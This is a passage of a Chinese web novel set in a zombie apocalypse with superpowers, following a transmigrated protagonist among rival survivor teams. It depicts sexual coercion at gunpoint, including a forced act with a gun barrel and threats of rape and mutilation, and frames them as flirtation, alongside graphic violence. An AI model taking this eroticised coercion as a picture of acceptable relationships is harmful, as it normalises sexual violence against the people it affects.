江林额前青筋微微鼓动,双眼陡然变得极为锐利,精神高度集中,丰盈的精神力瞬间变得干枯,他红唇吐出一个字:“定。” 话音落下的瞬间,李野行感觉自己的四肢不受控制的定住了一秒,像是发生了定格,但只有仅仅一秒。 对于江林来说一秒足够,他的枪已经怼上了男人的心脏,表情有些冷:“现在可以谈了吗?” “嚯?”李野行丝毫不觉得心脏上的枪有多危险,黑眸泛着丝丝光亮,像是发现了什么宝贝似的,惊讶地看着江林的脸,手指收紧掐紧他的脖颈,“你是双系异能者啊。” 李野行有足够的信心,没有人单挑是他的对手,而在无形中他对于这个少年的认知发生了一些转变,这是他遇见的第一个双系异能者。 江林刚刚那瞬间就耗费了所有的精神力,这个是他灵魂带来的异能,系统说是上一个世界的主神切片羁绊,在主神的眼皮子底下给他开了后门。 “你我真的会开枪,大不了一起死”江林拧着眉,因为缺氧煞红的脸,额前青筋暴起,若是其他人会显得面目狰狞,他却有一种窒息的美感,眼底泛起蔚蓝的泪光,破碎美丽。 “我死不掉,你就不一定了。”李野行想看看江林能做到那一步,半点不在乎对准自己心脏的枪,枪已经滑进江林的裤子中,动作放肆大胆。 “李野行!”江林阻止他的动作,脚想抬起来,但是被李野行压着,下意识地喊出他的名字。 “嗯?你怎么知道我的名字的呢,我好像从来没有告诉过你。”李野行眯了眯眼,手上的劲都松了松,目露疑惑,他从小在边境长大,确定自己从未见过他。 “你松开我,我就告诉你。”江林大口吸着气,依旧不放弃,在积极和他谈条件,他双眼镇定下来:“我不是任由宰割的小羊羔,如果你今天真的一意孤行,除非你会今天杀死我,否则我一定会报仇的,你永远都要提心吊胆” “啧。”李野行勾起唇角,冷硬的枪口陷进江林的大腿肉里,硌得人生疼,他根本没在乎江林的威胁,举动更像是在调情:“怎么办,你这么一说,我更想试试了啊。” 李野行可不吃这一套,挑下他的裤子,感觉到一丝清凉的江林声音越发急促起来:“别,别这样,你要我做什么都行,除了这个” 李野行不为所动:“但我就想做这个。” 江林心一横,扳动了扳机,就在这一瞬间,他感觉自己被拽入了另外的空间黑暗中,但一秒钟之后,他眼前又回到房间里,他的枪不知道什么时候被打落在地,但李野行毫发无伤,正居高临下地拿枪对着他的脑袋。 他这才恍惚间想起来,李野行的异能是领域,只需要身体接触,他就能把人拉进自己主宰的空间中,到了后期甚至不需要接触 “你还真敢开枪啊?”李野行依旧带着顽劣的笑意,漫不经心的像是在捉弄人,枪口从江林的太阳穴缓缓滑落,抵住他的脸颊,少年的脸颊微微下陷,像是白面团子似的非常柔软,最终停在他唇边。 “张嘴。”李野行开口。 江林牙关咬得很紧,颇有一种士可杀不可辱的态度。 别说江林只是扮演圣父的角色不是白痴角色,就江林自己而言,他宁愿被一枪崩死,也绝不可能让李野行畅快。 “不含枪口,就含老子的*巴。”李野行拽了下皮带,威胁地看着他。 江林气得浑身发抖似的,双眼难以置信的看着这个言辞粗鄙的人,原主从小到大都在象牙塔长大,自然瞧不见这些刀尖上舔血的人。 “三。”李野行不给他任何缓冲的条件,眼底有杀气闪过,江林对他开枪已经算是对他进行挑衅,如果是其他人早就被一枪毙命了。 如果江林再不配合,他肯定没什么耐心再和他玩儿了,不听话的人没有游戏资格。 “二。”李野行依旧是漫不经心的笑。 他确实喜欢江林脾气硬一点,但绝不是喜欢那种会对他开枪的人。 “一。”他已经想好了,如果少年不肯示弱,他会死在他床上,在他爽完之后。 但是江林却很识时务,红唇张开,含住了枪口。 李野行凤眼因为他的动作微微睁大了些,江林不情不愿的垂着眼,唇珠饱满的唇轻轻含着银色的枪口,雪白的睫毛无措崩溃地轻颤着,极致的色差,冷硬的枪和柔软红润的唇,他的呼吸重了一些,手腕用力。 “唔!”江林的牙齿被枪头磕到,下意识地打开了牙关,死死咬住那冰冷的硬壳子,腮帮子都酸了起来。 李野行盯着他的唇,想到嘴还算大,没有想象的小。 “舔一下。”李野行下达了下一个指令。 江林下意识的抬手攥住他的枪,手指碰到了他的手,不让他继续往他嘴里塞,口齿间有硝烟味蔓延,不敢想这个枪有多脏,但他没办法,忍着恶心轻轻舔了一下。 润红的舌头,从银色中露出一点点艳色,像是小兔子在舔水似的,双眼都红了,嘴也酸得不行。 李野行看着贴着自己手指的小拇指,松开大拇指,轻轻按住他的小拇指,江林顿时移开了。 “可以了吧?”江林说话声很含糊。 李野行有些遗憾的松开手,抽回自己的枪,江林用袖子擦了擦嘴,听着他说着风凉话:“真的很遗憾,我真的更期待你能坚持不屈,那我就可以捅破你的嗓子眼了。” “”江林有很多话想要骂,可是才脱险,不得不附小做低,只是默默听着,脸都气红了。 “来吧,解释解释你怎么知道我的名字的。”李野行好整以暇地看着他,上一秒还是剑拔弩张要爆头的紧张感,下一秒又像是只是朋友之间的简单谈话。 江林对隗绍默念了一句对不起,然后捂着被掐红的脖子,眼都不眨的说道:“我听见绍哥说的。” “绍哥?”李野行问了一句。 “我男朋友。”江林静默一瞬,说道:“他也是不小心听见的吧,可能是听见你身边的人喊你了。” “是吗?”李野行瞬间将隗绍当成了重点怀疑对象,看向江林的视线也有些怀疑。 “是的。”江林趁机谈条件:“你们能不能放过石欢和我了?” “凭什么啊?就凭你舔了一下老子的枪?”李野行笑了,表情嘲弄。 “我是双系异能者我觉得我们除了苟且的关系外是不是合作?”江林努力争取自己的人权和自由:“而且我有男朋友,你何必要惹上一身腥。” “我就喜欢有男朋友的。”李野行从头到尾就没想过要放过他,只是因为他觉得现在更有趣,所以想玩一些猫抓老鼠的游戏了,没那么猴急想要立刻吃到嘴里,慢条斯理的嚼也很不错。 江林对上他,像是秀才遇上兵,还是那种最不要脸,最不讲道理的兵痞,顿时他就不知道该继续和他说什么了。 “问你一个问题。”李野行饶有兴趣地看着他。 江林抿了抿唇,声音有些小:“我拒绝回答。” “那你外面的那个小妹妹完蛋了。”李野行笑着威胁人。 “你说。”江林。 “你和你男朋友上过床了吗?”他双眼如鹰似的盯着他。 江林露出果然如此的表情,就知道他会问这种没有任何边界感的问题,他有苦难言,却撒谎了:“有过了。” 李野行的表情很明显有些瞬间的凝滞,表情不似之前那么轻松,语气也沉了一瞬:“那以后别让他碰了,手指头都不准。” 江林拳头捏紧,“但他才是我男朋友” “嗯,我知道,你可以让他碰试试看。”李野行咧嘴笑了笑,满脸的恶劣,像个不知廉耻的恶犬。 “老子把枪塞进你们两胃里去。” 江林脸色越发白了,看向他的眼神怕又恨的:“” 现在这个无序的末世简直是他的乐园,他真的肆无忌惮,横行霸道的不管任何人的死活。 “我能走了吗?”江林牙关都在打颤,似乎被他身上的戾气吓住了。 李野行没说话,朝着他走近两步,江林如临大敌,蹲下去捡自己的枪。 李野行蹲下身按住他的手,抬手揉了揉他的头发,指尖柔软的白毛,像是在摸小猫般。他语重心长地提醒道:“记住了,有时候没有必要的善心是很多余的。” 江林抬眼看着他,似有不解。 “外面的小妹妹和他的弟弟现在应该正在房间里分食烤肉了。”李野行话说的更直白一点,“从头到尾入局的只有你。” 江林一怔,双眼微微睁大,下意识的反驳:“他们身不由己的。” “当然,你可以这么说。”李野行松开按住他手臂的手,“如果这样会让你好受一点的话。” 江林满脸的受伤,出门之后脸上的情绪消失不见,客厅内空无一人,门口还有人在巡逻。 他一开始就知道石欢其实在演戏,因为彭晶找上了他,她不演戏也没办法。但是原剧情中原主知道后深觉自己受到了很大的伤害,虽然依旧善良,却不愿意再给姐弟俩特殊的优待,将人越推越远。 房间里,石林有些担忧,抓着姐姐的手问:“姐姐,他会不会有事。” 石欢沉默没说话,心乱如麻,她被找上如果不配合,他们也有无数的手段让她强势配合,她也不想骗江林,可是身不由己。 “姐姐,我觉得那个真的是个好人”石林没有怪姐姐,伸手抱住她,“没有怪姐姐,只是也许我们以后可以亲近他一点,给他一点吃的” “不行,现在还不行。”石欢直接否决弟弟的提议,这是他们关乎他们身家性命的秘密,绝不能这么轻易的告诉别人 但姐弟俩心中却对江林生出了愧疚。 江林回到房间,石欢姐弟并没有分烤肉,只是抱着被子在床头等他回来, 江林没开灯也没说话,只是往自己床上走,行尸走肉般。 石林率先开口,怯生生地喊道:“哥哥” 江林的动作一顿,看向他们,声音有些沙哑干涩,“睡觉吧,没事了。” 江林走进一点,伸手摸了摸石欢的脑袋,拍了拍她的肩膀,语气带着安抚:“没事了,以后这些事不会再发生了。” 石欢顿时就红了眼眶,末世以来都是她自己带着弟弟,还是第一次有人给他们释放这么多温暖,她咬了咬牙没说话。 江林也不强求他们现在就对自己敞开心扉,倒也不着急。 江林打开了一下灯,想要找杯水喝,台灯微亮,姐弟俩看见了江林憔悴的面容,脸色极为惨白,还有脖子上深红勒痕也很惨烈,摇摇欲坠都站不稳的身体更是可怜,顿时让石欢的愧疚达到了顶峰。 而这时,江林发现自己的杯子中水都喝完了,他无奈自嘲一笑,低声道:“今天还真是倒霉啊。” 石林默默捏紧了手。 “我这里有。”石欢凭空变出了一瓶水,咬牙主动暴露了自己的空间。 石林一惊,刚刚姐姐还说不能说的……但是好吧,哥哥好惨,说一下也没关系吧。 江林眼底闪过一丝笑意,做好事不留名的圣父他做不来,他做了好事就必须有人领他的情。 第47章 江林眼见着她凭空从手上变出一瓶水的, 面露惊讶:“你?” 石欢其实拿出来的时候,就有点后悔,短短两天的相处, 隗绍这几人在李野行他们面前毫无优势,而李野行的队伍配合默契, 全部都是自己人,刚见面就展示出自己的强势和霸道,不像有良知的人。 不到万不得已, 她不想暴露。如果她和弟弟的异能暴露,又没有自保能力的情况下, 再被拿捏着彼此,可能真的要为了这个队伍做牛做马了。 据她观察,李野行队伍中也有空间异能者,那么她和弟弟也只能是附带品不被重视,大概率也没有办法选择另外的生活,她们现在只想平安地到达避难所, 好找机会和他们分道扬镳。 但江林对他们的善良, 又让她这个刚刚进入末世, 虽然警惕自私,但良心未泯的人生出愧疚。 “对不起, 我骗了你, 我有异能”石欢双手将水递给他,又将彭晶给的物资拿了出来,低着头:“这些是他们给我的好处对不起。” 江林简单惊讶过后, 只是接了矿泉水,认真地保证道:“我不会和别人说这件事的,放心。” “这些东西你自己收着, 我也装不下。” 江林喝了一口水,润润嗓子,身体没有什么太疼的,只是精神不济不再继续伪装善良,倒头就睡 几个小时,眨眼而过,天光大亮,江林睫毛颤动,睁开一条缝隙,光亮中旁边无声坐着一个男人,他的视线往旁边瞟,隔壁床上的石欢姐弟正抱着被子紧紧注视着两人,唯恐隗绍想做什么。 “绍哥?”江林揉了揉眼睛,身上的伤势已经全部愈合。可能因为他是治愈系异能,所以自愈能力很强。 “我的枪昨天落你这里了,你看见了吗?”隗绍垂着眼,眼神意味不明的眸光。 江林从床头拿出枪,“这把吗?” “是的。”隗绍说。 “绍哥可以给我吗?”江林没有要还给他的打算。 隗绍眉梢一挑,“你之前不是说瞄不准,浪费子弹吗?” “我总要改变的呀,不然一直靠着哥保护是不是太不厚道了?”江林笑眯眯地说道,说话声带着刚睡醒的清哑。 隗绍没有在他脸上看出任何的端倪,不知道他昨晚上是什么情况,“好,你拿着防身。” “谢谢绍哥。”江林声音小了些,面露一丝担忧:“我们要一直跟着他们吗?我有点担心。” 隗绍见他对自己露出亲近之意,对李野行他们表示出戒备后,原本阴沉的心情奇迹般地舒坦了一丝,看来江林现在应该还没想背叛他,抬手揉了揉他的发顶:“现在没有更好的办法,只能先跟着他们,等到了避难所再想办法” 江林看着隗绍离开之后,从背包里拿出洗漱用品,发现包里被塞得满满的东西,他朝着石欢看了一眼,石欢朝他露出一个乖巧的笑。 “谢谢。”江林笑着说道:“但下次不要这么做,很冒险,我需要什么会跟你说好吗?” 这支队伍里面眼线很多,堪称精锐的观察水平,稍稍有点不对劲都可能被发现。 他们是在一个大商场的地下仓库发现的姐弟俩,当时整个商场都几乎被人洗劫一空,当时他们还在怀疑,到底来了多少人才能把偌大的商场全部搬走没有什么打斗的痕迹,现在看来正主就在眼前。 江林几人的车和李野行改装后的装甲车比起来就显得非常的寒酸,车身还有许多凹陷的小洞,划掉的车漆,喷溅的血痕,在二十多辆车中格格不入。 徐和硕的眼神露出一点贪婪,李青青依旧没什么表情,隗绍表情没变,只是那双眼森寒冰冷,唇角的笑意都显得极为冷硬。 只有江林吃着小拳头大的小面包,眼底有一股清澈的呆萌,起晚了急匆匆的,额前还有一簇翘起的小呆毛,脸颊像是小仓鼠似的鼓了起来,被人拉走的时候都是懵的。 隗绍伸手挡了一下,脸上带着笑:“这是干什么?” 彭晶拉着江林的手臂,挑衅地看着他,找了一个冠冕堂皇的借口:“我老大受伤了,借一下江医生不可以吗?” “”隗绍满心的怨气和怒火,却不能表现出来,只能忍气吞声地笑着,有一瞬间的扭曲。 江林坐进第二辆车的副驾驶,拧开瓶盖咽了几口水,才感觉堵在心口的面包滚落下去。他看向驾驶位上的李野行,湛蓝的双眼闪烁了几瞬,嘴唇轻轻抿起,没有主动开口。 “喏,给你。”李野行话音落下,江林感觉从空中飞过来一个东西,他下意识地伸手抓住,是一个奶瓶,触手还是温热的,里面有白色的液体。 “给你这小身板补补。”李野行手搭在方向盘上,带着一个黑色的手套,唇角勾着恶劣的笑:“你看起来就像是喝奶的年纪。” “”江林不太敢喝,谁知道他有没有在里面加一些乱七八糟的东西? 他的表情太明晃晃,怀疑也毫不遮掩,很难不让人发现,李野行撑着手臂靠过来,不怀好意地说道:“你怕我给你下药了?还是怕我在里面加了料?” “你放心好了,我做事不会这么遮遮掩掩,想要你吃什么,就光明正大地给,你不吃就把你的牙敲碎了灌进去” 彭晶关上后车门,听见老大吓人,笑嘻嘻地说道:“老大你吓江医生干嘛,人家胆子本来就小。” “江医生你放心好啦,这牛奶是我们十几个兄弟看着老大泡的,绝对没有下任何的东西哦。” 江林抓着奶瓶没动,然后彭晶听见另外一边的车门打开,碰见抽空喊了一声:“方博士。” 方向阳也坐了进来,穿着干净的白色衬衣,身上依旧一尘不染,面色冰冷,半点眼神都没有瞟向任何人,目空无人。 彭晶的话题又转了回来,扒着江林的座位探头继续说:“江医生快喝了吧,不然我老大要动手喂你了。” 江林心中跟系统确定只是简单的牛奶后,才动手拧开瓶嘴。李野行吹了一声口哨,阻止他的动作:“拧回去,拿奶嘴喝。” 江林脸颊微红,低声争辩道:“我都多大了?不需要” “合适你,喝吧。”李野行行事霸道嚣张,根本没有给人拒绝的权力,江林懒得和他争吵这些东西,含住奶嘴吮起来,脸颊和脖子都泛起了樱花般的粉色,羞耻的脚趾扣地。 李野行却看得很赏心悦目,视线落在他唇上,嘴角溢出一点白色的奶渍,少年喉结滚动得很快,想要尽可能的快点喝完,他擦了擦嘴上的痕迹,道:“现在可以了吧。” “嗯,可以了,走了。”李野行嚼着口香糖,给他也扔了一个草莓味的口香糖,强烈的推背感,车急速往前飞奔,沿途也看见不少车辆,许多都以为他们是军队的人,停车求助,但车队根本没理会,开走了。 江林满口甜腻的奶味,倒也不和吃的过不去,脸上很快恢复如常,情绪极为稳定,嚼得嘎嘎有声。他乖乖系着安全带,眼睛警惕地看着四周,这是高速公路,旁边都是森林,地裂如蜘蛛网。 但很快发现,此路有些文图,从中间断裂开十米宽的裂缝,车一一停下,江林跟着下车,走到那像是被斧头劈开的地裂边沿。 江林没有站在最前面,伸长了脖子想往前看,突然感觉天一黑,下一瞬,腰上一紧,被缠上了绿色藤蔓——他被拽到了空中! 众人这才发现,头顶巨大的变异植物,它的藤蔓无声从旁边森林窜出来,而同时它巨大身躯正从地裂中冲天而起,数米高的身躯枝叶几乎遮蔽天日,许多人都被卷起来了。 江林迅速反应过来,在被卷入花卉巨嘴之前抬手斩断了它的藤蔓,绿色的汁液湿润了他的脸颊。 他从空中掉落,风吹得他脸颊生疼,就在他猜测自己会摔个粉身碎骨的时候,一条巨蟒窜天而起,用尾巴卷住急速坠落的江林。 众人正在混战,虽然视线被巨蟒吸引了一瞬,最终还是专注杀变异植株的枝叶,江林只感觉自己腰勒得有些疼,旋即被抱入怀中,安全落地。 李野行的余光也看见这浪漫的一幕,双眼微微眯起。 隗绍脸上的蛇鳞还未散去,深色的鳞片落在他还算白皙的肌肤上,但蛇瞳却有一丝恍惚。 他刚刚根本没有意识到发生了什么,几乎趋于本能去救江林,直到江林心有余悸地感动出声,他才像是突然重获了身体的控制权。 他的脸色有些难看,无声地抿了抿唇,挡住朝着他袭来锋利带毒的尖刺。 江林看着这株已经看不出具体种类的变异植物,很像是藤蔓类和乔木的杂交种,想对付这种变异植株,要么找到它的弱点,要么直接砍断它的树根,只要失去地面的支撑和补给,很快就会死亡。 他暂时没有去消灭变异株的伟大理想,只想保住自己的小命先。 火花四溅,水箭四射,黄土漫天异能者们各显神通,藤蔓杀不完一般。 江林意识到了一个很严重的问题,他身边的突袭的藤蔓明显比旁人多,甚至比离变异株最近的李野行都多。 圈圈围住他的藤蔓,趁他不备缠住他的脚踝,绑住他的手腕,将他卷成一个球,刀被掀落,眼见着就要被拖走。 隗绍竖瞳变成银针粗细,蟒身一把卷住江林的身体,不让他被卷走,同时李野行踩在空中飞行的藤蔓上,一步一步像是电视剧演的那般踩着藤蔓跃到了变异株面前,狠狠刺向他蠕动蜷缩的红洞中。 变异株一瞬间肢体发生停顿,洞穴内有像是有血肉般蠕动的东西,非常恶心血腥,鲜血喷射而出,李野行翻手又刺了几下,他此刻带着黑色的面罩,也感受到了鲜血的温热。 更像是人血。 江林连忙趁机挣脱自己的藤蔓,身体恢复自由,但是身躯却被蟒蛇圈住,围成了圆圈,将自己保护在他的腹部,那些藤蔓发了疯,重伤也舍不得离开,像是必须得到手的美味。 藤蔓上生出的尖刺划破蟒蛇的鳞片,众人也看出些端倪,纷纷朝着隗绍这边靠拢,有了目标吸引注意,异能者们斩断枝丫的行动更加顺利。 徐和硕就跟在隗绍身侧,蛇尾躲开藤蔓的同时,在无人注意的霎那,徐和硕没有防备,身体直接飞了出去,心脏被身后藤蔓尖端的刺刺穿。 徐和硕瞪大了双眼,难以置信般,死不瞑目。 江林喘着气,心跳声有点快,天空中飞进来一些温热的液体。 他的表情有些凝重,原剧情里有这个变异株当道,但很快就被打跑了,而江林当时躲在隗绍几人身边根本没有被缠上的机会,现在的情况不对劲…… 他忍不住咬了咬牙,除非那个神经病又给他加大难度了。 他可不想吸引什么奇奇怪怪的东西啊。 不远处被保护的方向阳看着变异株疯狂的样子,镜片下的黑眸微微眯起,按照道理说,眼前的变异株并不想生出高级智慧的模样,攻击人也是选择的原始直来直往的手段。 像这种植物,应该会像是有点聪明但不多的狗一样,被人打疼了,下意识应该跑掉。 李野行已经找到他的命门且深深刺痛他的情况下,变异株还在坚持 除非有什么更加吸引他的东西存在。 方向阳眼底闪过一丝兴趣,看着被巨蟒围住的少年,白发夺目晃眼,样貌出众。 所以变异株也可能有颜控? 方向阳不咸不淡的想着。 这一场战打得艰辛,直到变异株彻底倒下,横跨在裂缝中,藤蔓像是人的小臂似的,四处都散落着,绿色的汁液和人血混在一起。 江林受了一些擦伤,但无伤大雅,他先去帮满身是血的隗绍治疗。 隗绍默不作声,眼睛死死地瞪着江林,明明刚刚两个情侣还伉俪情深,他以身护江林,现在双眼迸射出的恨意却极为阴毒。 又来了!又来了! 又是这种不受控制的感觉! 他根本没想重伤自己去救江林的,但是身体就他妈的有病! 他开始怀疑,是不是江林给他的身体下了蛊,或者做了什么不为人知的事情。 隗绍胸腔一片滚烫,也不知道是气得,还是心脏上那一团恶心的东西在作祟,因为江林的靠近而沸腾,他真的太厌恶这种不受控制的行为了。 简直比杀了他还可恶。 他看着毫发无损的江林,再看看伤痕累累的自己,新伤加旧伤,皮开肉绽,浑身异能透支,身上的蛇鳞都收不回去,半边脸上是可怖的模样。 江林像是没发现他恨的通红双眼,只有满脸的心疼,像是下一秒就要垂泪,一边给他治伤,一边内疚地说道:“隗绍你不应该这么冒险的,我能够保护好自己的,现在你受了这么重的伤我都不知道该怎么办了。” 隗绍脑袋一热,喉间腥甜,喷出一口血,脸上面目狰狞,有苦难言,要被气晕了。 江林双眼担忧,给他止血,握住他的手腕,语重心长地说道:“别激动,我都懂,我知道你对我的一片情深,我不会辜负绍哥,真的,我保证” 隗绍咽下一口老血,气得心肝脾肺都疼,还不能反驳他,只是扯起一抹笑,声音沙哑:“没事,只要你安全就好。” “你太好了。”江林蓝色的眼瞳含着泪光,像是深受感动。 像是从血浆里爬出来的李野行,手中军刀点地,就在不远处站着,刀尖轻轻撑着,望着你侬我侬的小情侣,抬手擦了擦脸上的血,脸上煞气横行,眼神狠厉,看来江林根本没有把他的话放在心上啊。 隗绍是他看见的第一个化形异能者,倒是可以用来好好实验实验强度,得想个办法“不小心”把他的双手砍下来。 李青青抱着徐和硕已经冰冷的尸体,眼圈有些红,脑袋木木的。江林安顿好隗绍,便走到她身边,面露不忍,伸手要去给李青青疗伤,却被她警惕地躲开。 “青青姐,我不会伤害你,只是给你疗伤。”江林亦是满脸悲伤,声音轻柔地安慰着:“徐哥的死亡是我们都不想看见的,但是不用害怕,你还有我们呢,我会保护你的。” 李青青一双眼直勾勾看着他,眼眶湿润,她不是因为徐和硕的死多伤心,而是她亲眼看见隗绍将他害死!难免有兔死狐悲的想法,末世天灾频繁,人心还如鬼诡谲般,真的令人心寒。 但是眼前的少年眼中的光芒仿佛从未消失过,他好像一直以来都是这样,心软善良,突然便让僵冷的四肢有了一丝暖意。 “青青姐”江林手拂过她受伤的手臂,上面的划痕很快止血了,伤痛都被抹平。 “我的异能用完了,等我缓一缓。” 李青青冰冷的脸上出现一丝动容,:“没事,都是小伤。” 江林看向旁边站着的石欢姐弟,他们身上的衣服也弄得破破烂烂,但没有受严重的伤,从中小学开始,各个学校都有安排防身课,武术课,所以他们也不是手无缚鸡之力的小朋友。 “你们帮我看着这个姐姐,我去照顾绍哥。”石欢姐弟统一点头。 隗绍的右手脚踝被刺穿,伤及骨头,若是末世前,只怕可能会无法恢复正常直立行走,但隗绍身体异化加强过,也许很快就会愈合。 江林这次没有坐李野行的车,自己开车带着隗绍,彭晶自告奋勇地载着李青青和石欢姐弟俩,所谓司马昭之心路人皆知了。 隗绍平稳着心情,心脏跳动的很快,他也在这时感觉到了某些好处,如果上辈子的自己这样重的伤,异能最强的时候最少也要躺个四五天,现在他却感觉也许不要一天,他就能基本恢复。 这个东西可恶至极,但又对他来说并不是毫无用处。 前面裂开的大裂,被土系异能者用土铸成路,车再次畅通无阻。江林开车很稳,心情愉快地用手指轻轻敲着方向盘,脸上的表情却是凝重的,他也没想到隗绍下手这么干脆。 同时也让他重新认识了隗绍,重生归来还是不一样的,上辈子他可以没有这么狠毒果决。 只是他为什么要舍命护着他呢?旧情难忘?死过一回才发现他才是最爱的白月光? 都是不太合理的样子。 远处夕阳垂暮,灰沉沉的天空被染上了橘红色,残阳如画,黑暗逐渐吞噬阳光。 车速逐渐加快,他们需要在天黑之前找到住所,夜晚对于人类可不太友好。 路线偏移一瞬,找到了旁边的县城,清扫出能够二十多个人住下的地方,江林也加入了清除丧尸的队伍中,手中拿着定制的刀具,不至于砍几下丧尸就刀刃起卷。 江林跟在彭晶和李青青身后,像是在实验什么,他发现自己对丧尸并没有超出的吸引力,他刺入睡衣丧尸的喉咙,毫不犹豫地挑断了他的头颅。 他正在想事情,身后突然贴上来一个滚烫高大的身躯,吓得他一激灵拿刀就要刺,下一瞬手腕被一只大手握住,反手刺向旁边厕所的门,那刚刚想夺门而出的丧尸瞬间被刺穿了脑袋,血顺着刀刃和刺穿的门板滑下、低落。 “在想什么呢?”李野行声音在他耳畔响起,贴得极近,浑浊炙热的气息洒在他耳畔,捏着他的手腕磨了一下,粗粝的手指不太舒服,江林鸡皮疙瘩又冒出来了。 而两人的动静吸引得前面两人回头,李青青眼神一闪,似乎知道了什么。 她的视线下移了几寸,看见了李野行放在江林腰上的手,正收紧掐着他的腰,下一秒江林一个灵活地转身,挣脱他的拥抱,扯了扯唇角:“谢谢帮忙。” 李野行只是挑了下眉,没有继续纠缠。 李青青没有说话,像是没有发现两人之间的暧昧。 隗绍带没戴绿帽和她有什么关系,如果江林有需要她甚至愿意给他放哨。 花费了半个小时,才将住宿地方的丧尸清理干净,分好房间,江林自然没和隗绍分在一起,他和石林一间,石欢和李青青在他隔壁。 江林浑身是血,头发也是红得绿得黏糊糊的,但这里有些房间的水管被破坏了,无法供水。 江林和石林就是这个“幸运儿”,好在李青青是水系异能,他还没开口,已经给他在浴室准备了干净的水,沐浴乳洗发水是石欢给的。 江林弯了弯眸子,表情都轻松了些,笑容温柔:“末世有你们,突然看见了一丝希望呢。” 石林不好意思地挠挠头,只是道:“没事的,没事的。” 简单地清洗完,江林正在擦头,好心情随之戛然而止,门被敲响,石林正在洗澡,听见声音顶着泡沫就打开了浴室的门。 江林打开门,彭晶双臂环着,吊儿郎当地说道:“江医生有个忙需要你帮一下。” 第48章 江林以为彭晶找他是因为李野行又要发疯, 没想到在等他的人是方向阳。 二十几人的队伍,走过每个房间都能听见里面人的交谈声,旋转楼梯向上, 越往上喧闹声逐渐减小,最后直至安静。 四层楼只有三个房间, 另外两个房间的门大敞着,各待着一个持枪的黑衣人,很安静没有发出任何声音, 显得静默。 彭晶敲响了旁边紧闭的房门,门内传来男人的声音, “进来。” 门从外面打开,入眼看见的是穿着白大褂的方向阳,他桌上摆放着几个类似显微镜的观察仪器,旁边小茶几上赫然放着一只被缝合多次、颜色呈青色、血管凸出满布的丧尸手臂,被洗得干干净净,肉质泛白。 但是很神奇, 房间内没有任何难闻的异味, 倒是泛着一股清香。 江林从那一尘不染的家具和地面上可以窥见他一点点的脾性, 末世中和圣父同样另类地存在——洁癖。 原小说中记载,方向阳住所之处必须一尘不染, 干净整洁, 所以每次咱们方博士下榻,势必是有人里三层外三层打扫干净的,李野行小队有一辆车里全部都是装的方博士的仪器和工具。 “博士, 人到了。”彭晶往旁边让了一步,语气依旧吊儿郎当地:“老大还等着他去治伤呢,您快点。” 方向阳写完手上最后的记录, 停笔,转身看向江林,无机质灰的眼瞳盯着他,视线在少年白里透粉的脸上飞快掠过,从托盘中拿出一个未拆封的注射器,声音很淡:“没有检查仪器,不能进行全身检查,先抽取一个血液样本吧。” 江林站着没动,似乎有些犹豫。 “你人这么好,我们方博士可是顶顶厉害的生物博士,也许你的血液基因能够拯救人类呢。”彭晶说大话不打草稿,只是觉得江林不会拒绝这么伟大的理由。 “”江林觉得彭晶可能把他当成白痴在糊弄。 但江林没有继续犹豫,撸起手臂上的衣服,雪白的手臂纤细,浅青色的血管从臂弯蜿蜒,肌肉柔白,他穿了件黑色的卫衣和运动裤。 方向阳戴着白色的橡胶手套,拿着针的手朝着他前面的凳子指了指:“坐这里。” 江林伸出自己的手臂,眼见着冰冷的针管扎入自己的手臂,脑海中闪过关于这个人的剧情——他是最早发现寄生变异的人,是李野行的最强辅助。末世后先后研究出了五行异能进阶的激发药剂,又研究出能够增多异能觉醒的辅助药剂 各种成就硕果累累,方向阳喜欢清净,未知的东西能够给他带来致命的吸引,愿意为了研究去死 以上都是原书中的描述。 刺痛胀痛,满满当当一管血,江林怀疑自己的身体都有些低血糖了,方向阳又推了一个烧杯给他,“尿液。” “”江林觉得有些越界了。转念安慰自己,没事哒,在医院体检有时候也需要采取尿液的,就当自己在体检了。 等江林从方向阳房间出来的时候,彭晶已经等得有些不耐烦了,在隔壁和伙伴抽烟抽了十来根。 “去哪?”江林故意问。 彭晶回头看向江林,眉眼暧昧:“你觉得我还能带你去哪?” “今天还有些伤患没有治疗,我”江林试图寻找借口。 “嗯,就是去治伤的。”彭晶肯定地点点头,江医生真的是菩萨心肠,观音看到您都要自愧不如的程度,要把净瓶给你普度众生。” 江林:“” “进去吧。” 彭晶带着他又到了最底层,客厅里不少人在喝酒吃肉。江林口中分泌了一点口水,他已经很久没有吃过热食了,还是香喷喷的烧鸡,控制不住地分泌口水。 他最受不了末世的就是这一点。 彭晶轻推了一下门,然后让江林自己进去,他则是帮他把门关好。 江林向里面走了两步,不动声色地一手按在枪上,另一只手按在刀把上。 李野行住的是一楼的主卧,房间很宽敞,自带卫生间,环视一周没有看见人,他刚想转头,就发现后脑勺被怼上了一个冰冷的枪口。 李野行站在他身后,看着少年僵直的身体,唇角勾着顽劣的笑:“小兔子把手举起来。” 江林双手缓缓举过头顶,枪从后脑勺滑到了脖颈,顺着锁骨滑到了他的胸部,李野行也用手臂环住了他的身躯,还不等江林反抗,男人的声音在耳畔响起:“你男朋友对你真好啊。” “我都不好意思逼/奸你了,啧啧啧。” 这风凉话说的,江林忍不住撇嘴,抬手攥住他的手腕,反转一瞬,逃出了他的包围圈。 李野行抢的保险栓都没打开,只是在吓人,他拿着手枪在手上旋转,唇角含着笑,但漫不经心的眼神中透出危险,“你说过什么?不要让他碰到你的手指头。” “是砍断你的,还是废掉他的?这个选择权我给你好不好?” 李野行这人从小在枪弹雨林中长大,没有亲情,没有爱情,那种地方连友情都漏洞百出,他追求肾上腺飙升的刺激,喜欢嗜血嗜杀的感觉,像个杀戮机器人。他从小生活的地方就是一个末世的缩影,没有能力、不够心狠的人是没有资格活下去的。 所以末世降临他觉得很兴奋,世界终于能以他生存的方式继续下去了。 江林没有之前的硬气,垂下眼,露出一点示弱的表情:“可不可以都不选。” 强势的一面只是表明自己的态度,而和李野行硬碰硬,只会骨头渣子都不剩,而且他扮演的是一个善良柔软、心怀人类的圣父。 李野行眉梢一挑,双眼如鹰隼,语气更重了:“你把我的话当成耳旁风?” “不是耳旁风。”江林有些无奈,眼瞳倒影着这个煞气十足的男人,他的眼眸柔软,看谁都显得柔情,“我今天还碰了很多人的肩膀和身体,是不是你要把他们的全部都砍掉呢?” “”李野行静静看着他狡辩。 “而且你也知道,我是治愈系异能者,最应该充当医生的角色,我还救了很多你的队友。”江林发丝蓬松,发尾还带着点湿意,瞳孔毫无杂质,清澈干净,主动拉住他受伤的手臂:“你看,我还拉了你的手,你是不是也要砍掉自己的?” 李野行唇角高高勾起:“你在偷换概念啊,小兔子。” 